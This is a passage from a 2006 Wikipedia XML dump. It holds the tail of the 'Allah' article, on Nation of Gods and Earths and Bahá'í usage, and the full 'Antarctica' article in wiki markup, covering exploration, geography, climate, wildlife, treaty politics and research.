[[The Nation of Gods and Earths]], one of the many sects created as the result of black separatist movements in the United States, holds that the word &quot;Allāh&quot; is the name of the original black man and stands for &quot;Arm, Leg, Leg, Arm, Head&quot;. [http://web.archive.org/web/20041019023127/http://www.ibiblio.org/nge/] [http://www.usatoday.com/news/opinion/2002-10-29-oped-goldblatt_x.htm] This concept is alien to mainstream Islam, which strictly opposes any attempt to portray Allāh as a human or in any other way. Mainstream Islam also prohibits attibuting divine qualities to, worshipping, or glorifying anything other than Allāh.

The [[Bahá'í Faith]], whose [[:Category:Bahá'í texts|scriptures]] are primarily written in [[Arabic]] and [[Farsi]], also uses '''Allah''' to mean God, though in practice the customary word for God in the local language is typically used when speaking in that language.  Some particular uses are not translated, but the Arabic phrase is used.  The chief example of this would be the Bahá'í customary greeting '''Alláh'u'abhá''' which is commonly translated as ''God is the All Glorious''.

==See also==
*[[God]]
*[[Islam]]
*[[99 Names of God]]
*[[Muhammad]]
*[[Monotheism]]

==External Links==
*[http://www.faizani.com/portal/allah.html Islam Way Online - Your Religion and Spirituality Portal] For further discussion on Allah, the word's etymology, and the Islamic concept


[[Category:Islam]]
[[Category:Arabian deities]]
[[Category:Deities]]
[[Category:Quran]]
[[Category:Singular God]]
[[Category:Aqidah]]

[[af:Allah]]
[[ar:الله]]
[[bs:Allah]]
[[ca:Al·là]]
[[da:Allah]]
[[de:Allah]]
[[et:Allah]]
[[es:Alá]]
[[fa:الله]]
[[fr:Allah]]
[[ko:알라]]
[[id:Allah]]
[[is:Allāh]]
[[it:Allah]]
[[hu:Allah]]
[[ms:Allah]]
[[nl:Allah]]
[[ja:アッラーフ]]
[[no:Allah]]
[[nn:Allah]]
[[pl:Allah]]
[[pt:Alá]]
[[ru:Аллах]]
[[simple:Allah]]
[[sr:Алах]]
[[fi:Allah]]
[[sv:Allah]]
[[tt:Allah]]
[[th:อัลลอหฺ]]
[[tr:Allah]]
[[uk:Аллах]]
[[zh:安拉]]</text>
    </revision>
  </page>
  <page>
    <title>Antarctica</title>
    <id>741</id>
    <revision>
      <id>42159026</id>
      <timestamp>2006-03-04T05:16:48Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <minor />
      <comment>/* Gondwana breakup */</comment>
      <text xml:space="preserve">{{featured article}}
{| border=1 align=right cellpadding=4 cellspacing=0 width=250 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Antarctica'''&lt;/big&gt;&lt;/big&gt;
| align=center colspan=2 style=&quot;background:#f9f9f9;&quot; | 
[[Image:Flag of Antarctica.svg|left|100px]]

[[Image:LocationAntarctica.png|250px|Location of Antarctica]]
|- 
| '''Area''' || 14,000,000&amp;nbsp;km² (280,000&amp;nbsp;km² ice-free, 13,720,000&amp;nbsp;km² ice-covered)
|-
| '''Population''' || ~1,000 (none permanent)
|-
| '''Government''' || None, governed by the [[Antarctic Treaty System]]
|-
| '''Partial Territorial claims''' || {{ARG}} &lt;br&gt; {{AUS}} &lt;br&gt; {{CHL}} &lt;br&gt; {{FRA}} &lt;br&gt; {{NZL}} &lt;br&gt; {{NOR}} &lt;br&gt; {{GBR}} 
|-
| '''Internet [[Top-level domain|TLD]]''' || [[.aq]]
|-
| '''Calling Code''' || +672
|}

:''For the [[Kim Stanley Robinson]] novel, see [[Antarctica (novel)]]''
'''Antarctica''' ([[Greek language|Greek]], ''antarktikos'': &quot;opposite the [[Arctic]]&quot;&lt;ref&gt;Henry George Liddell, Robert Scott, ''A Greek-English Lexicon '' [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus:text:1999.04.0057:entry=%239514 &quot;antarktikos&quot;]. Retrieved February 12, 2006.&lt;/ref&gt;) is a [[continent]] encircling the [[Earth|Earth's]] [[South Pole]], surrounded by the [[Southern Ocean]] and divided in two by the [[Transantarctic Mountains]]. It is a [[desert|cold desert]] and, on average, the coldest place on Earth.  98% of the continent is covered by [[ice]]. Its 14 million&amp;nbsp;km&amp;sup2; make it the fifth largest continent and the world's largest [[desert]]. There are no permanent human residents, and only cold-adapted plants and animals survive there, including [[penguins]], [[fur seals]], [[lichen]]s, and hundreds of types of [[algae]]. 

Although myths and speculation about a ''[[Terra Australis]]'' (&quot;Southern Land&quot;) go back to antiquity, the first commonly accepted sighting of the continent occurred in 1820 and the first verified landing in 1821 by the [[Russia]]n expedition of [[Mikhail Lazarev]] and [[Fabian Gottlieb von Bellingshausen]]. The continent had been largely neglected in the 19th century because of its hostile environment, lack of efficient resources, and its isolated location.

Antarctica is not under the political sovereignty of any nation, although seven countries ([[Argentina]], [[Australia]], [[Chile]], [[France]], [[Norway]], [[New Zealand]] and the [[United Kingdom]]) maintain territorial claims. Most other countries do not recognise these claims, and the claims of Argentina, Chile and the United Kingdom all overlap. Its usage is regulated by the [[Antarctic Treaty]], signed in 1959 by 12 countries, which prohibits any military activity, supports scientific research, and protects the continent's [[ecozone]].  Ongoing experiments are conducted yearly by more than 4,000 scientists of diverse backgrounds and interests.

==Exploration==
{{main|History of Antarctica}}

[[Image:Shackleton expedition.jpg|left|thumb|210px|''The Endurance'' at night during [[Ernest Shackleton]]'s [[Imperial Trans-Antarctic Expedition]] in 1914.]]
In the Western world, beliefs in a ''[[Terra Australis]]''—a vast continent located in the far south of the globe to &quot;balance&quot; out the northern lands of Europe, Asia and north Africa—had existed for centuries. Even by late in the 17th century, after explorers had found that [[South America]] and [[Australia]] were not part of &quot;Antarctica&quot;, geographers believed the continent was much larger than its true size. European maps continued to show this land until [[Captain]] [[James Cook]] and the crews of his expedition's ships, ''[[HMS Resolution (Cook)|Resolution]]'' and ''[[HMS Adventure (1771)|Adventure]]'', crossed the [[Antarctic Circle]] on [[January 17]], [[1773]] and again in 1774.&lt;ref&gt;The Mariners' Museum [http://www.mariner.org/educationalad/ageofex/cook.php ''Age of Exploration - James Cook'']. Retrieved February 12, 2006.&lt;/ref&gt;

The first confirmed sighting of Antarctica cannot be accurately attributed to one single person. It can, however, be narrowed down to three individuals. According to various organizations (the [[National Science Foundation]],&lt;ref&gt;National Science Foundation. [http://www.nsf.gov/pubs/1997/antpanel/antpan05.pdf History of Antarctica] Retrieved February 6, 2006.&lt;/ref&gt; [[NASA]],&lt;ref&gt;NASA, U.S. Government [http://quest.arc.nasa.gov/antarctica/background/NSF/palmer.html Palmer biography] Retrieved February 6, 2006.&lt;/ref&gt; the [[University of California, San Diego]],&lt;ref&gt;University of California, San Diego [http://arcane.ucsd.edu/pstat.html Palmer Station] Retrieved February 5, 2006.&lt;/ref&gt; and other sources&lt;ref&gt;South-Pole [http://www.south-pole.com/p0000052.htm An Antarctic Time Line : 1519 - 1959]. Retrieved February 12, 2006&lt;/ref&gt;&lt;ref&gt;Polar Radar for Ice Sheet Measurements. [http://ku-prism.org/polarscientist/timeline/antarcticexplorers1800.html Antarctic Explorers Timeline: Early 1800s]. Retrieved February 12, 2006.&lt;/ref&gt;), three men all sighted Antarctica within days or weeks of each other: [[Fabian von Bellingshausen]] (a captain in the Russian Imperial Navy), [[Edward Bransfield]] (a captain in the British navy), and [[Nathaniel Palmer]] (an American sealer out of Stonington, Connecticut).  Bransfield supposedly saw Antarctica on [[January 27]], [[1820]], three days before Palmer sighted land. It is certain that on [[January 28]], [[1820]] the expedition led by [[Fabian von Bellingshausen]] and [[Mikhail Petrovich Lazarev]] on two ships reached a point within 32&amp;nbsp;km (20&amp;nbsp;miles) of the Antarctic mainland and saw ice fields there.

In 1841 explorer [[James Clark Ross]] sailed through what is now known as the [[Ross Sea]] and discovered [[Ross Island]]. He sailed along a huge wall of ice that was later named the [[Ross Ice Shelf]]. [[Mount Erebus]] and [[Mount Terror (Antarctica)|Mount Terror]] are named after two ships from his expedition: ''[[HMS Erebus (1826)|HMS Erebus]]'' and ''[[HMS Terror (1813)|HMS Terror]]''.&lt;ref&gt;[http://www.south-pole.com/p0000081.htm James Clark Ross] South-Pole - Exploring Antarctica. Retrieved February 12, 2006.&lt;/ref&gt;

During an [[expedition]] by [[Ernest Shackleton]], parties led by [[T. W. Edgeworth David]] became the first to climb [[Mount Erebus]] and to reach the [[South Magnetic Pole]].&lt;ref&gt;Australian Antarctic Division. [http://www.aad.gov.au/default.asp?casid=6660 ''Tannatt William Edgeworth David''] Retrieved February 7, 2006.&lt;/ref&gt; On [[December 14]], [[1911]], a party led by Norwegian polar explorer [[Roald Amundsen]] from the ship ''[[Fram]]'' became the first to reach the [[South Pole]], using a route from the [[Bay of Whales]] and up the [[Axel Heiberg Glacier]].&lt;ref&gt;South-pole [http://www.south-pole.com/p0000101.htm ''Roald Amundsen''] South-Pole - Exploring Antarctica. Retrieved February 9, 2006.&lt;/ref&gt;

After [[Robert Falcon Scott]]'s journey, [[Richard Evelyn Byrd]] led several voyages to the Antarctic by plane in the 1930s and 1940s. He is credited with implementing mechanized land transport and conducting extensive geological and biological research.&lt;ref&gt;70South. [http://www.70south.com/resources/antarctic-history/explorers/richardbyrd/ Richard Byrd]. Retrieved February 12, 2006.&lt;/ref&gt; However, it was not until [[October 31]], [[1956]] that anyone set foot on the South Pole again; on that day a U.S. Navy group led by Rear Admiral [[George Dufek]] successfully landed on an aircraft.&lt;ref&gt;U.S. Navy. [http://www.history.navy.mil/wars/datesoct.htm Dates in American Naval History: October]. Retrieved February 12, 2006.&lt;/ref&gt;

==Geography==
{{Main|Geography of Antarctica}}

[[Image:Antarctica satellite orthographic.jpg|thumb|150px|A satellite composite image of Antarctica]]
The continent of Antarctica is located mostly south of the [[Antarctic Circle]], surrounded by the [[Southern Ocean]]. Antarctica is the southernmost [[land mass]] on Earth comprising more than 14 million&amp;nbsp;km&amp;sup2; making it the 5th largest continent. The coastline measures 17,968&amp;nbsp;km. Physically, Antarctica is divided in two by the [[Transantarctic Mountains]] close to the neck between the [[Ross Sea]] and the [[Weddell Sea]]. The portion of the [[continent]] west of the Weddell Sea and east of the Ross Sea is called [[Western Antarctica]] and the remainder [[Eastern Antarctica]], because they correspond roughly to the Eastern and Western Hemispheres relative to the [[Greenwich meridian]]. Western Antarctica is covered by the [[West Antarctic Ice Sheet]]. About 98 percent of Antarctica is covered by an [[ice sheet]] that is, on average, 2.5 kilometers thick. [[Vinson Massif]], the highest peak in Antarctica at 4,892&amp;nbsp;meters, is located in the [[Ellsworth Mountains]]. The [[West Antarctic Ice Sheet]] has been of recent concern because of the slight possibility of its collapse. If it does break down, [[Sea level change|ocean level]]s would rise by a few meters in a relatively short period of time. Despite its zero rainfall in some areas, the continent has approximately 90% of the world's fresh water--in the form of ice.&lt;ref name=&quot;cia&quot;&gt;Central Intelligence Agency [http://www.cia.gov/cia/publications/factbook/geos/ay.html Factbook] Retrieved February 6, 2006.&lt;/ref&gt;
[[Image:Mt erebus.jpg|thumb|left|[[Mt. Erebus]], an active volcano in [[Ross Island]].]]
Although Antarctica is home to many volcanoes, only [[Deception Island]] and [[Mt. Erebus]] are active. Mount Erebus, located in [[Ross Island]], is the southernmost active volcano on Earth. Minor eruptions are frequent and lava flow has been observed in recent years. Other dormant volcanoes may potentially be active.&lt;ref&gt;British Antarctic Survey. [http://www.antarctica.ac.uk/About_Antarctica/Rock/Volcanoes.html Volcanoes]. Retrieved February 13, 2006.&lt;/ref&gt; In 2004, an underwater volcano was found in the [[Antarctic Peninsula]] by American and Canadian researchers. Recent evidence shows this unnamed volcano may be active.&lt;ref&gt;National Science Foundation. [http://www.nsf.gov/news/news_summ.jsp?cntn_id=100385 Scientists Discover Undersea Volcano Off Antarctica]. Retrieved February 13, 2006&lt;/ref&gt;

Antarctica is home to more than 70 [[lake]]s that lie thousands of metres under the surface of the continental ice sheet, including one under the South Pole itself. [[Lake Vostok]], discovered beneath [[Russia]]'s [[Vostok Station]] in 1996, is the largest of these [[subglacial lake]]s. It is believed that the lake has been sealed off for 35 million years. There is some evidence that Vostok's waters may contain [[microorganism|microbial life]]. Due to the lake's similarity to [[Europa]], a moon of [[Jupiter]], confirming that life can survive in Lake Vostok might strengthen the argument for the presence of life on Europa.&lt;ref&gt;National Science Foundation [http://www.nsf.gov/od/lpa/news/02/fslakevostok.htm Lake Vostok] Retrieved February 6, 2006.&lt;/ref&gt;&lt;ref&gt;NASA [http://astrobiology.arc.nasa.gov/stories/europa_vostok_0899.html Lake Vostok may teach us about Europa] Retrieved February 4, 2006.&lt;/ref&gt;

{{seealso|Extreme points of Antarctica|Antarctic territories}}

== Geology ==
===Gondwana breakup===
More than 170 million years ago (Mya), Antarctica was part of the [[supercontinent]] [[Gondwana]]. [[Africa]] separated from Antarctica around 160 Mya follwed by [[India]] in the early Cretaceous (about 125 Mya). About 65 Mya, Antarctica (then still connected to [[Australia]]) had still tropical to subtropical climate, complete with a [[marsupial]] fauna, but by about 45 Mya [[Australia]]-[[New Guinea]] had separated from Antarctica and the first ice appeared. At around 25 Mya, due to the opening of the [[Drake Passage]] between Antarctica and [[South America]] and the resulting [[Antarctic Circumpolar Current]], the ice spread quickly, displacing the forests that then covered the continent. Since about 15 Mya, the continent has been mostly covered with ice.{{fact}}
{{sect-stub}}

==Climate==
{{Main|Climate of Antarctica}}

[[Image:Lake Fryxell.jpg|thumb|left|225px|The [[Blue ice (glacial)|Blue ice]] covering [[Lake Fryxell]], in the [[Transantarctic Mountains]], comes from [[glacier|glacial]] meltwater from the [[Canada Glacier]] and other smaller glaciers.]]
Antarctica is the coldest place on earth. Antarctica has little rainfall, with the South Pole getting none, making it a continental desert. Temperatures reach a minimum of between &amp;minus;85 and &amp;minus;90 degrees Celsius (&amp;minus;121 and &amp;minus;130 degrees Fahrenheit) in the winter and about 30&amp;nbsp;degrees higher in the summer months. Sunburn is often a health issue as the snow surface reflects over 90% of the sunlight falling on it.&lt;ref name=&quot;weather&quot;&gt;British Antarctic Survey. [http://www.antarctica.ac.uk/met/jds/weather/weather.htm ''Weather in the Antarctic''] Retrieved February 9, 2006.&lt;/ref&gt; Eastern Antarctica is colder than its western counterpart because of its higher elevation. [[Weather front]]s rarely penetrate far into the continent, leaving the center cold and dry. There is little [[precipitation (meteorology)|precipitation]] over the central portion of the continent, but [[ice]] there can last for extended time periods.  However, heavy snowfalls are not uncommon on the coastal portion of the continent, where snowfalls of up to 1.22&amp;nbsp;meters (48&amp;nbsp;inches) in 48&amp;nbsp;hours have been recorded. At the edge of the continent, strong [[katabatic wind]]s off the polar plateau often blow at storm force. In the interior, however, wind speeds are often moderate. During summer more [[solar radiation]] reaches the surface at the South Pole than is received at the [[equator]] in an equivalent period.&lt;ref name=&quot;cia&quot; /&gt;

Depending on the latitude, long periods of constant darkness, or constant sunlight, mean that climates familiar to humans are not generally available on the continent. The [[aurora australis]], commonly known as the southern lights, is a glow observed in the night sky near the south pole. Another unique spectacle is [[diamond dust]]. Diamond dust refers to a ground-level cloud composed of tiny ice crystals. Diamond dust generally forms under otherwise clear or nearly clear skies, so people sometimes also refer to it as clear-sky precipitation. A [[sundog]], a frequent atmospheric [[optical phenomenon]], is a bright &quot;spot&quot; beside the true [[sun]].&lt;ref name=&quot;weather&quot; /&gt;

[[image:iceberg09.jpg|500px|thumb|center|Tabletop [[iceberg]]s in Antarctica]]

==Population==
{{seealso|Demographics of Antarctica}}
[[Image:Antarctic researchers.jpg|thumb|Two American researchers studying [[plankton]] through [[microscope]]s.]]
Although Antarctica has no permanent residents, a number of governments maintain permanent [[research station]]s throughout the continent. The population of persons doing and supporting science on the continent and its nearby islands varies from approximately 4,000 in summer to 1,000 in winter. Many of the stations are staffed around the year.

[[Emilio Marcos Palma]] was the first person born in Antarctica (Base Esperanza) in 1978, his parents being sent there along with seven other families by the Argentinean government to determine if family life was suitable in the continent. In 1986 Juan Pablo Camacho was born at the Presidente Eduardo Frei Montalva Base, becoming the first Chilean born in Antarctica. Several bases are now home to families with children attending schools at the station.&lt;ref&gt;''The Antarctic Sun'' [http://antarcticsun.usap.gov/oldissues2002-2003/answer.html Questions and answers] Retrieved February 9, 2006.&lt;/ref&gt;

==Flora and fauna==
{{seealso|Antarctic ecozone}}
===Flora===
{{main|Antarctic flora}}
[[Image:Lichen squamulose.jpg|thumb|left|More than 200 species of [[lichen]]s are known in Antarctica.]]
The climate of Antarctica does not allow for much vegetation to exist. A combination of freezing temperatures, [[soil]] quality, lack of moisture and sunlight limit the chances for plants to exist. As a result, plant life is limited to mostly mosses and liverworts.  The autotrophic community is made up of mostly [[protist]]s. The [[flora]] of the continent largely consists of [[lichen]]s, [[bryophyte]]s, [[algae]], and [[fungi]]. Growth generally occurs in the summer and only for a few weeks, at most. 

There are more than 200 species of lichens and approximately 50 species of bryophytes, such as mosses. Seven hundred species of algae exist, most of which are [[phytoplankton]]. Multicolored [[snow algae]] and [[diatoms]] are especially abundant in the coastal regions during the summer.  There are two species of flowering plants found in the Antarctic Peninsula: [[Antarctic hair grass]] and [[Antarctic pearlwort]].&lt;ref&gt;Australian Antarctic Division [http://www.aad.gov.au/default.asp?casid=5551 Antarctic Wildlife] Retrieved February 5, 2006.&lt;/ref&gt;

===Fauna===
[[Image:Emperor penguin.jpg|thumb|165px|[[Emperor Penguin]]s in [[Ross Sea]], Antarctica.]]

Land [[fauna (animals)|fauna]] is completely [[invertebrate]]. Such invertebrate life includes [[microscopic]] [[mite]]s, [[lice]], and [[springtail]]s. The [[midge]], just 12 [[millimeter|mm]] in size, is the largest land animal in Antarctica (other than man). The [[snow petrel]] is one of only three birds that breed exclusively in Antarctica and have been seen at the [[South Pole]]. 

A variety of marine animals exist, and they rely, directly or indirectly, on the phytoplankton. Antarctic sea life includes [[penguin]]s, [[blue whales]], and [[fur seal]]s. More specifically, the [[Emperor penguin]] is the only penguin that breeds during the winter in Antarctica. The [[Adélie Penguin]] breeds further south than any penguin. The [[Rockhopper penguin]] has distinctive feathers around the eyes; one could call them elaborate eyelashes. [[King penguin]]s are also predominant in the Antarctic. The [[Antarctic fur seal]] was very heavily hunted in the 18th and 19th centuries for its pelt by sealers from the United States and the United Kingdom. Antarctic krill, which congregate in large [[swarm|school]]s, is the [[keystone species]] of the [[ecosystem]] of the [[Southern Ocean]], and is an important food organism for whales, seals, [[leopard seal]]s, fur seals, [[squid]], [[icefish]], penguins, [[albatross]]es and many other birds.&lt;ref&gt;[http://www.knet.co.za/antarctica/fauna_and_flora.htm Creatures of Antarctica] Retrieved February 6, 2006.&lt;/ref&gt;

The approval of the [[Antarctic Conservation Act]] brought several restrictions to the continent. The introduction of alien plants or animals can bring a criminal penalty, as can the extraction of any indigenous species. The overfishing of krill, which plays a large role in the Antarctic ecosystem, led officials to enact regulations on fishing. The Convention for the Conservation of Antarctic Marine Living Resources (CCAMLR), a treaty enacted in 1980, requires that regulations managing all Southern Ocean fisheries consider potential effects on the entire Antarctic ecosystem.&lt;ref name=&quot;cia&quot; /&gt; Despite these new acts, unregulated and illegal fishing, particularly of [[Patagonian toothfish]], remains a serious problem. Particularly, the illegal fishing of toothfish has been increasing with estimates of 32,000&amp;nbsp;tonnes in 2000.&lt;ref&gt;BBC News. [http://news.bbc.co.uk/2/hi/science/nature/1492380.stm Toothfish at risk from illegal catches]. Retrieved February 11, 2006.&lt;/ref&gt;&lt;ref&gt;Australian Antarctic Division. [http://www.aad.gov.au/default.asp?casid=1539 Toothfish]. Retrieved February 11, 2006.&lt;/ref&gt;
* [http://scilib.ucsd.edu/sio/nsf/fguide/index.html Underwater Field Guide to Ross Island &amp; McMurdo Sound, Antarctica]

==Politics==
Antarctica is considered a neutral territory in respect to politics. The [[Antarctic Treaty]], signed in 1959, and related agreements, collectively called the Antarctic Treaty System, regulate [[international relations]] with respect to Antarctica, Earth's only uninhabited continent. For the purposes of the treaty system, Antarctica is defined as all land and [[ice shelf|ice shelves]] south of the southern 60th [[circle of latitude|parallel]]. The treaty was signed by 12 countries, including the [[Soviet Union]] and the [[United States]], and set aside Antarctica as a scientific preserve, established freedom of scientific investigation, environmental protection, and banned military activity on that continent. This was the first [[arms control]] agreement established during the [[Cold War]]. The Antarctic Treaty prohibits any measures of a military nature in Antarctica, such as the establishment of military bases and fortifications, the carrying out of military maneuvers, or the testing of any type of weapon. It permits the use of military personnel or equipment for scientific research or for any other peaceful purposes.&lt;ref&gt;Scientific Committee on Antarctic Research. [http://www.scar.org/treaty/ ''Antarctic Treaty''] Retrieved February 9, 2006.&lt;/ref&gt;

Antarctica has no government. Various countries claim areas of it, but most countries do not recognize those claims. The area between 90 degrees west and 150 degrees west is the only land on Earth not claimed by any country.&lt;ref name=&quot;cia&quot; /&gt;

The only documented large-scale land military maneuver was &quot;[[Operación 90]]&quot;, undertaken 10 years before the Antarctic Treaty by the [[Military of Argentina|Argentinian military]].&lt;ref&gt;Antarctica Institute of Argentina. [http://www.dna.gov.ar/INGLES/DIVULGAC/ARGANT.HTM ''Argentina in Antarctica''] Retrieved February 9, 2006.&lt;/ref&gt;

The [[United States military]] issues the [[Antarctica Service Medal]] to military members or civilians who perform research duty on the Antarctica continent. The medal may include a winter-over bar issued to those who remain on the continent for two complete six-month seasons.&lt;ref&gt;U.S. Navy [http://www.history.navy.mil/medals/antarc.htm Antarctic Service Medal] Retrieved February 9, 2006.&lt;/ref&gt;

===Antarctic territories===
{{seealso|Antarctic territories}}

[[Image:antarctica.jpg|thumb|300px||Territorial claims of Antarctica]]
{| class=&quot;wikitable&quot;
!Flag
!Territory
!Claimant
!Claim limits
!Date
|-
|[[Image:Flag of France.svg|50px]]
|[[Adelie Land]]
|[[France]]
|142°02'E to 136°'11'E
|1924
|-
|[[Image:Flag of Argentina.svg|50px]]
|[[Argentine Antarctica]]
|[[Argentina]]
|25°W to 74°W
|1943
|-
|[[Image:Flag of Australia.svg|50px]]
|[[ Australian Antarctic Territory]]
|[[Australia]]
|160°E to 142°02'E and 136°11'E to 44°38'E
|1933
|-
|[[Image:Flag of Chile.svg|50px]]
|[[Antártica Chilena Province]]
|[[Chile]]
|53°W to 90°W
|1940
|-
|[[Image:Flag of the British Antarctic Territory.png|50px]]
|[[British Antarctic Territory]]
|[[United Kingdom]]
|20°W to 80°W
|1908
|-
|[[Image:Flag of Norway.svg|50px]]
|[[Dronning Maud Land]]&lt;br&gt;[[Peter I Island]]
|[[Norway]]
|44°38'E to 20°W&lt;br&gt; 68°50'S, 90°35'W
|1939&lt;br&gt;1929
|-
|[[Image:Flag of New Zealand.svg|50px]]
|[[Ross Dependency]]
|[[New Zealand]]
|150°W to 160°E
|1923
|}

The Argentinean, British and Chilean claims all overlap. 

[[Germany]] also maintained a claim to Antarctica, known as [[New Swabia]] between 1939 and 1945. It was situated at 20°E and 10°W, overlapping Norway's claim.

==Economy==
{{main|Economy of Antarctica}}
[[Image:Antarctic cod.jpg|thumb|The illegal capture and sale of the [[Patagonian toothfish]] has led to several arrests.]]

Although coal, hydrocarbons, iron ore, platinum, copper, chromium, nickel, gold and other minerals have been found, they exist in quantities too small to exploit. The 1991 [[Protocol on Environmental Protection to the Antarctic Treaty]] prevents such struggle for resources. In 1998 a compromise agreement was reached to add a 50-year ban on mining until the year 2048, further limiting economic development and exploitation. The primary agricultural activity is the capture and offshore trading of fish. Antarctic fisheries in 2000-01 reported landing 112,934 metric tons.&lt;ref name=&quot;cia&quot;&gt;&lt;ref&gt;Santa Barbara City College Biological Sciences [http://www.biosbcc.net/ocean/AAimportance.htm Importance of Antarctica] Retrieved February 5, 2006.&lt;/ref&gt;

Small-scale tourism has existed since 1957. As of 2006 several ships transport people into Antarctica for specific scenic locations. A total of 13,571 tourists visited in the 2002-03 antarctic summer with nearly all of them coming from commercial ships. The average stay is about two weeks.&lt;ref name=&quot;cia&quot;&gt;&lt;ref&gt;&lt;ref&gt;[http://www.knet.co.za/antarctica/political.htm Politics of Antarctica] Retrieved February 5, 2006.&lt;/ref&gt; Antarctic flights brought tourists from Australia and New Zealand until the fatal crash of [[Air New Zealand Flight 901]] in 1979 near [[Mount Erebus]].

==Research==
{{seealso|List of research stations in Antarctica}}

[[Image:Amundsen-Scott marsstation ray h edit.jpg|thumb|left|300px|A [[full moon]] and 25-second exposure allowed sufficient light into this photo taken at [[Amundsen-Scott South Pole Station]] during the long Antarctic night. The new station can be seen at far left, [[power plant]] in the center and the old mechanic's garage in the lower right.]]
Each year, scientists from 27 different nations conduct [[experiment]]s not reproducible in any other place in the world but the Antarctic. In the summer more than 4,000 scientists operate [[research station]]s; this number decreases to nearly 1,000 in the winter.&lt;ref name=&quot;cia&quot; /&gt; The [[McMurdo Station]] is capable of housing more than a thousand scientists, visitors, and tourists. 

Researchers include biologists, geologists, oceanographers, physicists, astronomers, glaciologists, and meteorologists. [[Geologist]]s tend to study plate tectonics in the Arctic region, meteorites from the [[outer space]], and resources from the breakup of the supercontinent [[Gondwanaland]]. [[Glaciologist]]s in Antarctica are concerned with the study of the history and dynamics of floating [[ice]], [[snow|seasonal snow]], [[glacier]]s, and [[ice sheet]]s. [[Biologist]]s, in addition to examining the wildlife, are interested in how harsh temperatures and the presence of people affect adaptation and survival strategies in a wide variety of organisms. [[Astrophysicist]]s in [[Amundsen-Scott South Pole Station]] are able to study the celestial dome and [[cosmic microwave background radiation]] because of the ozone hole and the location's dry, cold environment. Medical physicians have made discoveries concerning the spreading of viruses and the body's response to extreme seasonal temperatures.&lt;ref&gt;Antarctic Connection [http://www.antarcticconnection.com/antarctic/science/index.shtml Science in Antarctica] Retrieved February 4, 2006.&lt;/ref&gt;

Since the 1970s an important focus of study has been the [[ozone layer]] in the [[atmosphere]] above Antarctica. In 1998 [[NASA]] satellite data showed that the Antarctic [[ozone hole]] was the largest on record, covering 27&amp;nbsp;million square kilometers. In 2002 significant areas of ice shelves disintegrated in response to regional warming.&lt;ref name=&quot;cia&quot; /&gt;

[[Image:ALH84001.jpg|thumb|right|220px|Antarctic meteorite, named [[ALH84001]], from [[Mars]].]]

[[Meteorite]]s from Antarctica are a relatively recent resource for study of the material formed early in the [[solar system]]; most are thought to come from [[asteroid]]s, but some may have originated on larger [[planet]]s. The first meteorites in Antarctica were found in 1912. In 1969 the Japanese discovered nine meteorites in Antarctica. Most of these meteorites have fallen onto the [[ice sheet]] in the last one million years. Motion of the ice sheet tends to concentrate the meteorites at blocking locations such as mountain ranges, with wind erosion bringing them to the surface after centuries beneath accumulated snowfall.  Compared with meteorites collected in more temperate regions on Earth, the Antarctic meteorites are relatively well preserved.&lt;ref name=&quot;meteorite&quot;&gt;NASA [http://www-curator.jsc.nasa.gov/antmet/index.cfm Meteorites from Antarctica] Retrieved February 9, 2006.&lt;/ref&gt;

This large collection of meteorites allows a better understanding of the abundance of meteorite types in the solar system and how meteorites relate to asteroids and comets. New types of meteorites and rare meteorites have been found. Among these meteorites are pieces blasted off the moon, and probably Mars, by impacts. These specimens, specifically [[ALH84001]] discovered by [[ANSMET]], are at the center of the controversy about possible evidence of microbial life on early Mars. Because meteorites in space absorb and record cosmic radiation, the time elapsed since the meteorite hit the Earth can be determined from laboratory studies. The elapsed time since fall, or terrestrial residence age, of a meteorite represents more information that might be useful in environmental studies of Antarctic ice sheets.&lt;ref name=&quot;meteorite&quot; /&gt;

==See also==
* [[List of antarctic and sub-antarctic islands]]
* [[Antarctica ecozone]]
* [[Antarctic Stamps]]
* [[Antarctic Treaty System|Antarctic Treaty System]]
* [[Argentine Antarctic Geopolitics]]
* [[Brazil Antarctic Geopolitics]]
* [[Chile Antarctic Geopolitics]]
* [[Communications in Antarctica]]
* [[Extreme points of Antarctica]]
* [[Flags of Antarctica]]
* ''[[Life in the Freezer]]'', a [[BBC]] natural history [[television]] series on life on and around Antarctica
* [[Transportation in Antarctica]]

==Footnotes==
&lt;div style=&quot;font-size:90%;&quot;&gt;&lt;references /&gt;&lt;/div&gt;

==External links==
{{sisterlinks|Antarctica}}
* [http://www.ats.aq Antarctic Treaty Secretariat]
* [http://www.anetstation.com ANetStation] - radio station in Antarctica
* [http://www.add.scar.org The Antarctic Digital Database - a source of digital topographic map data for Antarctica]
* [http://www.aad.gov.au/ Australian Antarctic Division]
* [http://www.antarctica.ac.uk British Antarctic Survey]
* [http://www.planetavivo.org/english/ResearchPrograms/Antarctica/SlideShows/ArdleyIsland/ArdleyIsland1.html Biodiversity at Ardley Island, South Shetland archipelago, Antarctica]
* [http://www.comnap.aq/ Council of Managers of National Antarctic Programs (COMNAP)], official homepage.
* [http://www.awi-bremerhaven.de/Polar/index.html German Antarctic Ships and Stations]
* [http://www.loc.gov/rr/international/frd/antarctica/antarctica.html Portals on the World - Antarctica] from the [[Library of Congress]]
* [http://www.polarmuseum.sp.ru/Eng/ The Russian State Museum of Arctic and Antarctic]
* [http://www.scar.org The Scientific Committee for Antarctic Research - coordinating body for Antarctic Science]
* [http://www.cia.gov/cia/publications/factbook/geos/ay.html The World Factbook &amp;ndash; Antarctica] from the U.S. [[Central Intelligence Agency]]
* [http://www.70south.com Latest Antarctic news and information by 70South]
* [http://www.iaato.org International Association of Antarctic Tour Operators (IAATO)]
* [http://www.usap.gov/ The United States Antartic Program]
* [http://apc.mfa.government.bg Antarctic Place-names Commission of Bulgaria]
* [http://www.geocities.com/peyre1347/ One of many journals by a tourist to Antarctica]
{{Continent}}
{{Region}}


[[Category:Antarctica]]
[[Category:Antarctica| ]]
[[Category:Continents]]
[[Category:Lists of coordinates]]
[[Category:Outposts of Antarctica| ]]
[[Category:Special territories]]

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[[ar:أنتارتيكا]]
[[ast:Antártida]]
[[ba:Антарктика]]
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[[bg:Антарктида]]
[[bn:এন্টার্কটিকা]]
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[[cy:Antarctica]]
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[[el:Ανταρκτική]]
[[eo:Antarkto]]
[[es:Antártida]]
[[eu:Antartika]]
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[[fi:Etelämanner]]
[[fo:Antarktis]]
[[fr:Antarctique]]
[[ga:Antartaice]]
